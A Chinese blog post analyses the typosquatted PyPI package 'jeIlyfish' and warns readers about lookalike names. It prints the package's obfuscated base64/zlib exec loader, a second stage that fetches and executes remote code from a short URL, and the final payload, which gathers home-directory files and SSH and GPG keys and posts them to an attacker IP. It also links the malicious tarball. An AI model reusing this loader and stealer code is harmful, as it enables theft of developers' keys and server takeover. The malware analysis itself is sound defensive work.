有毒的 "jeIlyfish" —— Python 3 恶意库

前两天有人发现了在 PyPI (Python Package Index) 上存在一个恶意库 —— jeIlyfish。其通过将正常拼写的 jellyfish 的第一个小写 l 替换成大写的 I 来达成伪装的目的。如果你使用的字体难以区分小写 l 和大写的 I 的话,那么就有可能遇到这样的恶意库的风险。因此推荐在编码的时候使用等宽字体,如 Menlo, Monaco, Osaka-Mono 等。

这个恶意库被安装使用之后,会尝试偷取用户的 SSH 和 GPG Keys。那么简单分析一下它是怎么写的。

昨天在清华大学的 TUNA 镜像上还能下载到恶意的 jeIlyfish 库,现在同步之后估计可能没了。

https://pypi.tuna.tsinghua.edu.cn/packages/cb/6c/8b9d8a603431397d72118cea8e474ce009f7b7c9d86d653085376562f793/jeIlyfish-0.7.1.tar.gz#sha256=1a6b4c155e112ab09f02765b8b423eb21cb6ae5cb9a5f3841a6c85e2f4735f04

解压之后,其目录结构如下

➜  jeIlyfish-0.7.1 tree .
.
├── LICENSE
├── MANIFEST.in
├── PKG-INFO
├── README.rst
├── docs
│   ├── Makefile
│   ├── changelog.rst
│   ├── comparison.rst
│   ├── conf.py
│   ├── index.rst
│   ├── phonetic.rst
│   └── stemming.rst
├── jeIlyfish
│   ├── __init__.py
│   ├── _jellyfish.py
│   ├── porter.py
│   └── test.py
├── jeIlyfish.egg-info
│   ├── PKG-INFO
│   ├── SOURCES.txt
│   ├── dependency_links.txt
│   └── top_level.txt
├── setup.cfg
└── setup.py

于是重点关注 .py 结尾的文件,在其 jeIlyfish/_jellyfish.py 文件中,第 313 行到第 338 行,有这么一段代码

import zlib
import base64


ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='


ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)

显然是一段先被 zip 压缩,然后 based64 编码的数据。那么我们这里就把原作者在这段代码中最后的 exec 换成 print,看看原始数据是什么

ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    print(str(ZAUTHSS, encoding='utf-8'))

输出的内容是

# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg
# 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo
# XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh
# 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy
# NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2
# sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S
import re,sys,os
_out,_err=sys.stdout,sys.stderr
sys.stdout,sys.stderr=open(os.devnull,'wb'),open(os.devnull,'wb')
try:
 try:from urllib2 import urlopen
 except:from urllib.request import urlopen 
 exec(zlib.decompress(base64.b16decode(re.sub(
    r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE
 )[4:-4].upper())))
except:pass
sys.stdout,sys.stderr=_out,_err
# eUL2G6011jP02diDqXmLh7WF2rOmU0GY
# MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6
# Y296
# 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI
# XI2b82DLI4ft9f
# dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2

又是一段 Python 3 代码,不过还是蛮明显的。

第一步是将标准输出 stdout 和标准错误输出 stderr 重定向到 /dev/null,这样的话即使中间的恶意代码有报错或者什么的,受害者也不会察觉。

接下来就是用 urllib2http://bitly.com/25VZxUbmkr 下载了一个文件,然后只丢掉所有 [0-9abcdef 以外的字符,随后用 base16 解码,再用 zlib 解压缩,得到最终的恶意代码,最后 exec 执行

那么我们看看 http://bitly.com/25VZxUbmkr 里有什么~

于是发现跳转到了 http://gitlab.com/olgired2017/aeg_wandoo_dag_m3/raw/master/hashsum,那么下载下来的代码是什么呢~

home = os.path.expanduser("~")
if os.path.exists(home):
    data.add(home)
    data.add('\n   ###  1 ls home')
    data.add('\n   '.join(list_dir(home)))
    data.add('\n   ### 2 ls Documents')
    data.add('\n   '.join(list_dir(os.path.join(home, 'Documents'))))
    data.add('\n   ### 3 ls Downloads')
    data.add('\n   '.join(list_dir(os.path.join(home, 'Downloads'))))
    data.add('\n   ### 4 ls PycharmProjects')
    data.add('\n   '.join(list_dir(os.path.join(home, 'PycharmProjects'))))
    data.add('\n   ### 5 save home files')
    save_files(home)
    data.add('\n   ### 6 save .ssh files')
    save_files(os.path.join(home, '.ssh'))
    data.add('\n   ### 7 save gpg keys')
    save_files(os.path.join(home, '.gnupg'))
    data.add('\n   ### 8 save target')
    save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx'))
    data.add('\n   ### 9 end :)')
#
data.add(requests.get('http://ifconfig.co/json').text)
requests.post(
    'http://68.183.212.246:32258',
    data=json.dumps({'my3n_data': data.dump}, default=lambda v: str(v)),
    headers={"Content-type": "application/json"}
)

首先 1. 获取了你的 ${HOME}, ${HOME}/Documents, ${HOME}/Downloads${HOME}/PycharmProjects目录下有哪些文件;

2. 你的 ${HOME} 目录下的文件也被保存到 data 中;

3. 你的 ${HOME}/.ssh,也就是 SSH 公钥、密钥也都被保存到了 data 里;以及你的 ${HOME}/.gnupg,也就是 GPG 公钥、密钥

4. 接下来访问了 http://ifconfig.co/json 获取你的 IP 地址,并存入 data

5. 最后将盗取的 data 转为 JSON 数据 POST 到了 http://68.183.212.246:32258

嘛,基本上主要能偷的都偷走了,获取完 ${HOME}/.ssh 的话,如果你有用 SSH 公钥密钥方式登录自己的云服务器的话,攻击者就可以在 ${HOME}/.ssh 下的 known_hosts 里一个一个尝试,然后将你的服务器变成 zombie computer。

盗取 GPG 部分的话,当然就是可以在别的地方伪造你的身份,或者数字签名啦

2 thoughts on “有毒的 "jeIlyfish" —— Python 3 恶意库”

  1. 现在我这里还是能从清华源上下到恶意库诶……5 min 同步一次(
    话说如果 ${HOME} 目录下的文件大小巨大的话,那走 HTTP 的时候会成功吗?

    1. 没有全部的代码,不过应该是做了处理吧,也许限制了大小

Leave a Reply

Your email address will not be published. Required fields are marked *

one + eleven =